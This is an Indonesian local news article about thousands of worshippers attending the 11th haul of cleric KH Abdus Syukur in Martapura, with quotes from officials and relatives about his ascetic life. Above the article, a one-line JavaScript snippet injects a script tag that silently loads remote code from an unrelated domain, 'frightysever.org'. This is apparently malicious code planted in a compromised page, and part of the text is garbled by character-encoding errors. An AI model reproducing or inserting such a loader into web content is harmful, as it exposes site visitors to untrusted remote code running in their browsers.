(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ragam

Ribuan Jamaah Hadiri Haul Guru Syukur ke-11 di Martapura

MARTAPURA, Ribuan jamaah menghadiri Haul ke-11 KH Abdus Syukur yang digelar di Jalan Perwira Kompleks Darussalam, Martapura, Kabupaten Banjar, Rabu (22/11). Acara tersebut juga dihadiri Bupati Banjar KH Khalilurrahman, Wakil Bupati Banjar H Saidi Mansur, Ketua DPRD Banjar H Rusli, dan Habib Abdul Qodir Jailani dari Hadra Maut, Yaman.

Pada kesempatan tersebut, Habib Abdul Qodir Jailani berpesan pada jemaah yang hadir untuk meneladani sosok dari KH Abdus Syukur. Sebab menurut beliau, KH Abdus Syukur adalah seorang aulia seorang wali Allah.

“Mudah-mudahan kita yang ditinggalkan beliau ini mendapatkan barokah dengan menghadiri acara ini,” ujar Habib Abdul Qodir.

KH Abdus Syukur adalah Pimpinan Pondok Pesantren periode ke delapan. Beliau juga dikenal sebagai nazir Masjid Al Karomah. Dimasa hidupnya, Guru Syukur dikenal kezuhudannya. Bahkan, hingga wafat Sabtu tanggal 5 RobiÃƒÂ¢Ã¢â€šÂ¬Ã¢â€žÂ¢ul Awwal 1428 H bertepatan pada tanggal 24 Maret 2007 M almarhum tidak memiliki rumah.

Haul ditandai dengan pembacaan Maulid Habsy yang dipimpin H Madani putra Guru Syukur yang datang dari Jakarta.

Salah satu Kemenakan Guru Syukur yang juga murid Guru Syukur, H Fahruraji mengaku selalu terkenang dengan almarhum. Beliau hidupnya sangat sederhana bahkan rumah pun tidak punya.

“Ini rumah inventaris rumah Pondok Pesantren. Sidin zuhud tidak suka dengan dunia,” ungkap H Fahrurazi.

Beliau, dimasa hidupnya menghabiskan waktu mengajar di Ponpes Darussalam. Guru-guru di Darussalam belajar dengan beliau di kediaman di Jalan Komplek Darussalam.

“Banyak Guru-Guru di Darussalam murid-murid beliau,” tuturnya.(hendera/humas)

Foto: Humas